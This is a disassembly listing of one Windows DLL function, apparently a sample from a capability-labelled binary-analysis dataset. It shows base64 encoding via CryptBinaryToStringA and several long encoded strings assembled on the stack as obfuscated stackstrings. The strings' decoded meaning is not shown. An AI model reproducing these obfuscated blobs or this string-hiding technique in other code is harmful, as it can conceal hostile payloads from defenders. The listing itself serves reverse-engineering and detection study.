Function at 0x10020e42
Capabilities:
Contain obfuscated stackstrings
Encode data using base64 via winapi

Disassembly:
push 0x398
mov eax, 0x10054f35
call fcn.100269ae
mov ebx, dword [ebp + 0xc]
lea eax, [ebp - 0x14]
mov edi, dword [ebp + 8]
mov esi, dword [ebp + 0x10]
push eax
push 0
push 0x40000001
push dword [ebx]
push edi
call dword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
mov ecx, esi
test eax, eax
jne 0x10020e84
call fcn.1001b3bd
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x10021cd4
push dword [ebp - 0x14]
call fcn.1001b917
lea ecx, [ebp - 0x14]
push ecx
push eax
push 0x40000001
push dword [ebx]
push edi
call dword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
mov ecx, esi
test eax, eax
jne 0x10020eb0
push 0xffffffffffffffff
call fcn.1001ee37
mov ecx, esi
jmp 0x10020e74
push dword [ebp - 0x14]
call fcn.10020bb3
push dword [0x10097750]
xor ebx, ebx
mov dword [ebp - 0xa4], 0x74395653
push ebx
sub esp, 0xc
mov byte [ebp - 0x18], bl
mov ecx, esp
mov dword [ebp - 0xa0], 0x4e4d6744
lea eax, [ebp - 0x19]
mov dword [ebp - 0x9c], 0x33556741
mov dword [ebp - 0x98], 0x7a77514c
push dword [ebp - 0x18]
mov dword [ebp - 0x94], 0x325a794d
push eax
mov dword [ebp - 0x90], 0x4c4d3249
lea eax, [ebp - 0xa4]
mov dword [ebp - 0x8c], 0x586b534e
mov dword [ebp - 0x88], 0x77645846
mov dword [ebp - 0x84], 0x75396847
mov dword [ebp - 0x80], 0x4c67414e
mov dword [ebp - 0x7c], 0x75344263
mov dword [ebp - 0x78], 0x51676a4d
mov dword [ebp - 0x74], 0x49595366
mov dword [ebp - 0x70], 0x6a73534a
mov dword [ebp - 0x6c], 0x77345461
mov dword [ebp - 0x68], 0x71774441
mov dword [ebp - 0x64], 0x69644148
mov dword [ebp - 0x60], 0x4c556950
mov dword [ebp - 0x5c], 0x4a51684e
mov dword [ebp - 0x58], 0x3855534f
mov dword [ebp - 0x54], 0x36597a42
mov dword [ebp - 0x50], 0x64454741
mov dword [ebp - 0x4c], 0x536f7a4e
mov dword [ebp - 0x48], 0x57517a48
mov dword [ebp - 0x44], 0x6d595250
mov dword [ebp - 0x40], 0x59634266
mov dword [ebp - 0x3c], 0x39465245
mov dword [ebp - 0x38], 0x31464241
mov dword [ebp - 0x34], 0x7378784b
mov dword [ebp - 0x30], 0x35396e41
mov dword [ebp - 0x2c], 0x76314145
mov dword [ebp - 0x28], 0x34417a42
mov dword [ebp - 0x24], 0x4c636d4f
mov dword [ebp - 0x20], 0x4141775a
mov word [ebp - 0x1c], 0x4741
mov byte [ebp - 0x1a], 0x49
push eax
mov dword [ecx], ebx
mov dword [ecx + 4], ebx
mov dword [ecx + 8], ebx
call fcn.10017d43
lea eax, [ebp - 0x380]
push eax
call fcn.1001b0c3
add esp, 0x10
mov ecx, eax
mov dword [ebp - 4], ebx
call fcn.100242fc
push eax
mov ecx, esi
call fcn.1001ee8f
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x380]
call fcn.10024142
cmp dword [ebp + 0x14], ebx
je 0x10021cd2
mov dword [ebp - 0x1ec], 0x64595759
mov dword [ebp - 0x1e8], 0x65415449
mov dword [ebp - 0x1e4], 0x744d6747
mov dword [ebp - 0x1e0], 0x35424344
mov dword [ebp - 0x1dc], 0x46455464
mov dword [ebp - 0x1d8], 0x50635446
mov dword [ebp - 0x1d4], 0x61635148
mov dword [ebp - 0x1d0], 0x5173694b
mov dword [ebp - 0x1cc], 0x316b5464
mov dword [ebp - 0x1c8], 0x41304348
mov dword [ebp - 0x1c4], 0x614d4363
mov dword [ebp - 0x1c0], 0x39705246
mov dword [ebp - 0x1bc], 0x35305249
mov dword [ebp - 0x1b8], 0x7867584f
mov dword [ebp - 0x1b4], 0x79494249
mov dword [ebp - 0x1b0], 0x43596945
mov dword [ebp - 0x1ac], 0x35344242
mov dword [ebp - 0x1a8], 0x55516742
mov dword [ebp - 0x1a4], 0x77776e4a
mov dword [ebp - 0x1a0], 0x686f5844
mov dword [ebp - 0x19c], 0x2b517845
mov dword [ebp - 0x198], 0x6a4d5759
mov dword [ebp - 0x194], 0x62306a46
mov dword [ebp - 0x190], 0x7577434d
mov dword [ebp - 0x18c], 0x7a31514e
mov dword [ebp - 0x188], 0x78417a4d
mov dword [ebp - 0x184], 0x7a496a44
mov dword [ebp - 0x180], 0x32676e66
mov dword [ebp - 0x17c], 0x314e4364
mov dword [ebp - 0x178], 0x6e637848
mov dword [ebp - 0x174], 0x38346a42
mov dword [ebp - 0x170], 0x6f455161
mov dword [ebp - 0x16c], 0x4b59545a
mov dword [ebp - 0x168], 0x5730585a
mov dword [ebp - 0x164], 0x504d7962
mov dword [ebp - 0x160], 0x79397863
mov dword [ebp - 0x15c], 0x66416e4f
mov dword [ebp - 0x158], 0x794d7950
mov dword [ebp - 0x154], 0x58347a4c
mov dword [ebp - 0x150], 0x61555344
mov dword [ebp - 0x14c], 0x61344466
mov dword [ebp - 0x148], 0x5145774e
mov dword [ebp - 0x144], 0x374d324f
mov dword [ebp - 0x140], 0x69677a49
mov dword [ebp - 0x13c], 0x6d776d47
mov dword [ebp - 0x138], 0x39735448
mov dword [ebp - 0x134], 0x6151434f
mov dword [ebp - 0x130], 0x6d6b5242
mov dword [ebp - 0x12c], 0x2b346e4b
mov dword [ebp - 0x128], 0x72597744
mov dword [ebp - 0x124], 0x64554148
mov dword [ebp - 0x120], 0x79526a4d
mov dword [ebp - 0x11c], 0x77596747
mov dword [ebp - 0x118], 0x59596a4e
mov dword [ebp - 0x114], 0x554d4362
mov dword [ebp - 0x110], 0x5738514a
mov dword [ebp - 0x10c], 0x7064484a
mov dword [ebp - 0x108], 0x6141514b
mov dword [ebp - 0x104], 0x61495164
mov dword [ebp - 0x100], 0x43384246
mov dword [ebp - 0xfc], 0x57304444
mov dword [ebp - 0xf8], 0x53557841
mov dword [ebp - 0xf4], 0x41737a4e
mov dword [ebp - 0xf0], 0x426b7a47
mov dword [ebp - 0xec], 0x58776d49
mov dword [ebp - 0xe8], 0x7141474d
mov dword [ebp - 0xe4], 0x6655514a
mov dword [ebp - 0xe0], 0x4d456e47
mov dword [ebp - 0xdc], 0x71735250
mov dword [ebp - 0xd8], 0x596b785a
mov dword [ebp - 0xd4], 0x304d4166
mov dword [ebp - 0xd0], 0x4751444a
mov dword [ebp - 0xcc], 0x79644149
mov dword [ebp - 0xc8], 0x47635447
mov dword [ebp - 0xc4], 0x31596d4d
mov dword [ebp - 0xc0], 0x5634544a
mov dword [ebp - 0xbc], 0x2f6b7859
mov dword [ebp - 0xb8], 0x79387942
mov dword [ebp - 0xb4], 0x41417764
mov word [ebp - 0xb0], 0x4f41
mov byte [ebp - 0xae], 0x67
push ebx
sub esp, 0xc
mov byte [ebp - 0x18], bl
mov ecx, esp
mov dword [ebp - 0xac], 0x4f4d5765
lea eax, [ebp - 0xad]
mov dword [ebp - 0xa8], 0x494d4149
mov dword [ebp - 0xa4], 0x72737846
push dword [ebp - 0x18]
mov dword [ebp - 0xa0], 0x5245514c
push eax
mov dword [ebp - 0x9c], 0x51775262
lea eax, [ebp - 0x1ec]
mov dword [ebp - 0x98], 0x6d4d4249
mov dword [ebp - 0x94], 0x7056334a
mov dword [ebp - 0x90], 0x67776d42
mov dword [ebp - 0x8c], 0x7a306e43
mov dword [ebp - 0x88], 0x646b6a4e
mov dword [ebp - 0x84], 0x6a59424e
mov dword [ebp - 0x80], 0x486f7846
mov dword [ebp - 0x7c], 0x30457842
mov dword [ebp - 0x78], 0x6a5a684a
mov dword [ebp - 0x74], 0x7a454246
mov dword [ebp - 0x70], 0x326b784d
mov dword [ebp - 0x6c], 0x436b484e
mov dword [ebp - 0x68], 0x70497942
mov dword [ebp - 0x64], 0x526f5141
mov dword [ebp - 0x60], 0x72595159
mov dword [ebp - 0x5c], 0x5534544a
mov dword [ebp - 0x58], 0x4f494442
mov dword [ebp - 0x54], 0x306f784f
mov dword [ebp - 0x50], 0x78384341
mov dword [ebp - 0x4c], 0x3167524e
mov dword [ebp - 0x48], 0x334d4447
mov dword [ebp - 0x44], 0x48556e4d
mov dword [ebp - 0x40], 0x644d414e
mov dword [ebp - 0x3c], 0x4a674149
mov dword [ebp - 0x38], 0x50674250
mov dword [ebp - 0x34], 0x37776744
mov dword [ebp - 0x30], 0x4751574f
mov dword [ebp - 0x2c], 0x6f6b7a59
mov dword [ebp - 0x28], 0x6d63784f
mov dword [ebp - 0x24], 0x78785141
mov dword [ebp - 0x20], 0x41414141
mov word [ebp - 0x1c], 0x4741
mov byte [ebp - 0x1a], 0x6b
push eax
mov dword [ecx], ebx
mov dword [ecx + 4], ebx
mov dword [ecx + 8], ebx
call fcn.10017d43
lea eax, [ebp - 0x38c]
push eax
call fcn.1001b0c3
add esp, 0x10
mov ecx, eax
mov dword [ebp - 4], 1
call fcn.100242fc
push eax
push ebx
sub esp, 0xc
mov byte [ebp - 0x18], bl
mov ecx, esp
lea eax, [ebp - 0x19]
push dword [ebp - 0x18]
mov dword [ecx], ebx
push eax
lea eax, [ebp - 0xac]
mov dword [ecx + 4], ebx
push eax
mov dword [ecx + 8], ebx
call fcn.10017d43
lea eax, [ebp - 0x380]
push eax
call fcn.1001b0c3
add esp, 0x10
mov ecx, eax
mov byte [ebp - 4], 2
call fcn.100242fc
push eax
mov ecx, esi
call fcn.1001ee8f
lea ecx, [ebp - 0x380]
call fcn.10024142
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x38c]
call fcn.10024142
mov dword [ebp - 0x168], 0x66635759
mov dword [ebp - 0x164], 0x44515459
mov dword [ebp - 0x160], 0x36556959
mov dword [ebp - 0x15c], 0x51594141
mov dword [ebp - 0x158], 0x78347943
mov dword [ebp - 0x154], 0x6b415350
mov dword [ebp - 0x150], 0x6b6b4441
mov dword [ebp - 0x14c], 0x78426747
mov dword [ebp - 0x148], 0x77555241
mov dword [ebp - 0x144], 0x30355249
mov dword [ebp - 0x140], 0x6a387745
mov dword [ebp - 0x13c], 0x6745475a
mov dword [ebp - 0x138], 0x7551544b
mov dword [ebp - 0x134], 0x56385859
mov dword [ebp - 0x130], 0x33516750
mov dword [ebp - 0x12c], 0x574d7866
mov dword [ebp - 0x128], 0x4b676a50
mov dword [ebp - 0x124], 0x56514365
mov dword [ebp - 0x120], 0x3249534c
mov dword [ebp - 0x11c], 0x2b686a4d
mov dword [ebp - 0x118], 0x76705141
mov dword [ebp - 0x114], 0x4c30694a
mov dword [ebp - 0x110], 0x73305450
mov dword [ebp - 0x10c], 0x47775841
mov dword [ebp - 0x108], 0x4b55444e
mov dword [ebp - 0x104], 0x4c51674d
mov dword [ebp - 0x100], 0x3967794d
mov dword [ebp - 0xfc], 0x47517a44
mov dword [ebp - 0xf8], 0x53455163
mov dword [ebp - 0xf4], 0x4245674a
mov dword [ebp - 0xf0], 0x4f596949
mov dword [ebp - 0xec], 0x35347950
mov dword [ebp - 0xe8], 0x305a695a
mov dword [ebp - 0xe4], 0x6b416944
mov dword [ebp - 0xe0], 0x4f73774b
mov dword [ebp - 0xdc], 0x41495344
mov dword [ebp - 0xd8], 0x5951684a
mov dword [ebp - 0xd4], 0x71634365
mov dword [ebp - 0xd0], 0x63417944
mov dword [ebp - 0xcc], 0x70677944
mov dword [ebp - 0xc8], 0x65307941
mov dword [ebp - 0xc4], 0x496b7847
mov dword [ebp - 0xc0], 0x78516746
mov dword [ebp - 0xbc], 0x5277334a
mov dword [ebp - 0xb8], 0x7a595459
mov dword [ebp - 0xb4], 0x4141514b
mov word [ebp - 0xb0], 0x4941
mov byte [ebp - 0xae], 0x55
mov dword [ebp - 0x80], 0x77737861
mov dword [ebp - 0x7c], 0x53346d5a
mov dword [ebp - 0x78], 0x4b387946
mov dword [ebp - 0x74], 0x47735844
mov dword [ebp - 0x70], 0x755a5747
mov dword [ebp - 0x6c], 0x5741444c
mov dword [ebp - 0x68], 0x6b5a7944
mov dword [ebp - 0x64], 0x7a427a42
mov dword [ebp - 0x60], 0x51344349
mov dword [ebp - 0x5c], 0x7651794a
mov dword [ebp - 0x58], 0x44556d4b
mov dword [ebp - 0x54], 0x63384150
mov dword [ebp - 0x50], 0x45635450
mov dword [ebp - 0x4c], 0x68673359
mov dword [ebp - 0x48], 0x5a454243
mov dword [ebp - 0x44], 0x6f457766
mov dword [ebp - 0x40], 0x6b49424e
mov dword [ebp - 0x3c], 0x78637965
mov dword [ebp - 0x38], 0x69557764
mov dword [ebp - 0x34], 0x34397a41
mov dword [ebp - 0x30], 0x2b41684d
mov dword [ebp - 0x2c], 0x7434515a
mov dword [ebp - 0x28], 0x70385149
mov dword [ebp - 0x24], 0x5338684d
mov dword [ebp - 0x20], 0x41414141
push ebx
sub esp, 0xc
mov byte [ebp - 0x18], bl
mov ecx, esp
mov word [ebp - 0x1c], 0x7752
lea eax, [ebp - 0xad]
push dword [ebp - 0x18]
mov dword [ecx], ebx
push eax
lea eax, [ebp - 0x168]
mov dword [ecx + 4], ebx
push eax
mov dword [ecx + 8], ebx
call fcn.10017d43
lea eax, [ebp - 0x380]
push eax
call fcn.1001b0c3
add esp, 0x10
mov ecx, eax
mov dword [ebp - 4], 3
call fcn.100242fc
push eax
push ebx
sub esp, 0xc
mov byte [ebp - 0x18], bl
mov ecx, esp
lea eax, [ebp - 0x1a]
push dword [ebp - 0x18]
mov dword [ecx], ebx
push eax
lea eax, [ebp - 0x80]
mov dword [ecx + 4], ebx
push eax
mov dword [ecx + 8], ebx
call fcn.10017d43
lea eax, [ebp - 0x38c]
push eax
call fcn.1001b0c3
add esp, 0x10
mov ecx, eax
mov byte [ebp - 4], 4
call fcn.100242fc
push eax
mov ecx, esi
call fcn.1001ee8f
lea ecx, [ebp - 0x38c]
call fcn.10024142
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x380]
call fcn.10024142
mov dword [ebp - 0x260], 0x62635759
mov dword [ebp - 0x25c], 0x7438534e
mov dword [ebp - 0x258], 0x6e775742
mov dword [ebp - 0x254], 0x5951685a
mov dword [ebp - 0x250], 0x37415441
mov dword [ebp - 0x24c], 0x4455424a
mov dword [ebp - 0x248], 0x544d6847
mov dword [ebp - 0x244], 0x314e5464
mov dword [ebp - 0x240], 0x4f734241
mov dword [ebp - 0x23c], 0x62385442
mov dword [ebp - 0x238], 0x686f4463
mov dword [ebp - 0x234], 0x4f4d6d4d
mov dword [ebp - 0x230], 0x46776d42
mov dword [ebp - 0x22c], 0x546b6e4e
mov dword [ebp - 0x228], 0x31564359
mov dword [ebp - 0x224], 0x77744441
mov dword [ebp - 0x220], 0x6763784e
mov dword [ebp - 0x21c], 0x324a6865
mov dword [ebp - 0x218], 0x61517945
mov dword [ebp - 0x214], 0x636b4241
mov dword [ebp - 0x210], 0x72774248
mov dword [ebp - 0x20c], 0x6b557850
mov dword [ebp - 0x208], 0x37466947
mov dword [ebp - 0x204], 0x6a316e47
mov dword [ebp - 0x200], 0x3356424b
mov dword [ebp - 0x1fc], 0x2b4d6950
mov dword [ebp - 0x1f8], 0x6d686849
mov dword [ebp - 0x1f4], 0x41414141
mov word [ebp - 0x1f0], 0x6754
push ebx
sub esp, 0xc
mov byte [ebp - 0x18], bl
mov ecx, esp
mov dword [ebp - 0x374], 0x74737a62
lea eax, [ebp - 0x1ee]
mov dword [ebp - 0x370], 0x76307a5a
mov dword [ebp - 0x36c], 0x6b595243
push dword [ebp - 0x18]
mov dword [ebp - 0x368], 0x33675247
mov dword [ebp - 0x364], 0x6c636741
mov dword [ebp - 0x360], 0x59517765
mov dword [ebp - 0x35c], 0x68464444
mov dword [ebp - 0x358], 0x61306746
mov dword [ebp - 0x354], 0x6367584c
mov dword [ebp - 0x350], 0x636f6944
mov dword [ebp - 0x34c], 0x66516a46
mov dword [ebp - 0x348], 0x35687a4e
mov dword [ebp - 0x344], 0x6b59674e
mov dword [ebp - 0x340], 0x6b6f5442
mov dword [ebp - 0x33c], 0x77776861
mov dword [ebp - 0x338], 0x2b563242
mov dword [ebp - 0x334], 0x6d646742
mov dword [ebp - 0x330], 0x30595450
mov dword [ebp - 0x32c], 0x78637a44
mov dword [ebp - 0x328], 0x354e6950
mov dword [ebp - 0x324], 0x2b454149
mov dword [ebp - 0x320], 0x79395761
mov dword [ebp - 0x31c], 0x69514243
mov dword [ebp - 0x318], 0x41456849
mov dword [ebp - 0x314], 0x3659794c
mov dword [ebp - 0x310], 0x6a346748
mov dword [ebp - 0x30c], 0x46495346
mov dword [ebp - 0x308], 0x4a6b5850
mov dword [ebp - 0x304], 0x4f49514d
mov dword [ebp - 0x300], 0x2b5a6a59
mov dword [ebp - 0x2fc], 0x53674266
mov dword [ebp - 0x2f8], 0x47386d41
mov dword [ebp - 0x2f4], 0x78515245
mov dword [ebp - 0x2f0], 0x2b38584f
mov dword [ebp - 0x2ec], 0x41555248
mov dword [ebp - 0x2e8], 0x314d4265
mov dword [ebp - 0x2e4], 0x67593342
mov dword [ebp - 0x2e0], 0x36646a66
mov dword [ebp - 0x2dc], 0x3877544b
mov dword [ebp - 0x2d8], 0x6438534e
mov dword [ebp - 0x2d4], 0x37674241
mov dword [ebp - 0x2d0], 0x7438674a
mov dword [ebp - 0x2cc], 0x43495441
mov dword [ebp - 0x2c8], 0x6d4d695a
mov dword [ebp - 0x2c4], 0x63637962
mov dword [ebp - 0x2c0], 0x6f384447
mov dword [ebp - 0x2bc], 0x5873434f
mov dword [ebp - 0x2b8], 0x305a4265
mov dword [ebp - 0x2b4], 0x36386a44
mov dword [ebp - 0x2b0], 0x6541774d
mov dword [ebp - 0x2ac], 0x72774348
mov dword [ebp - 0x2a8], 0x6655474a
mov dword [ebp - 0x2a4], 0x30595148
mov dword [ebp - 0x2a0], 0x536b5465
mov dword [ebp - 0x29c], 0x496b4449
mov dword [ebp - 0x298], 0x736b4247
mov dword [ebp - 0x294], 0x536b675a
mov dword [ebp - 0x290], 0x4e417a66
mov dword [ebp - 0x28c], 0x77776e46
mov dword [ebp - 0x288], 0x7555694d
mov dword [ebp - 0x284], 0x674e4163
mov dword [ebp - 0x280], 0x7a63515a
mov dword [ebp - 0x27c], 0x74515248
mov dword [ebp - 0x278], 0x6d6c6747
mov dword [ebp - 0x274], 0x76553245
mov dword [ebp - 0x270], 0x4e4d6948
mov dword [ebp - 0x26c], 0x32555450
mov dword [ebp - 0x268], 0x41414166
mov word [ebp - 0x264], 0x4d41
mov byte [ebp - 0x262], 0x6b
push eax
mov dword [ecx], ebx
lea eax, [ebp - 0x260]
mov dword [ecx + 4], ebx
mov dword [ecx + 8], ebx
push eax
call fcn.10017d43
lea eax, [ebp - 0x3a4]
push eax
call fcn.1001b0c3
add esp, 0x10
mov ecx, eax
mov dword [ebp - 4], 5
call fcn.100242fc
push eax
push ebx
sub esp, 0xc
mov byte [ebp - 0x18], bl
mov ecx, esp
lea eax, [ebp - 0x261]
push dword [ebp - 0x18]
mov dword [ecx], ebx
push eax
lea eax, [ebp - 0x374]
mov dword [ecx + 4], ebx
push eax
mov dword [ecx + 8], ebx
call fcn.10017d43
lea eax, [ebp - 0x398]
push eax
call fcn.1001b0c3
add esp, 0x10
mov ecx, eax
mov byte [ebp - 4], 6
call fcn.100242fc
push eax
mov ecx, esi
call fcn.1001ee8f
lea ecx, [ebp - 0x398]
call fcn.10024142
lea ecx, [ebp - 0x3a4]
call fcn.10024142
xor eax, eax
call fcn.10026958
ret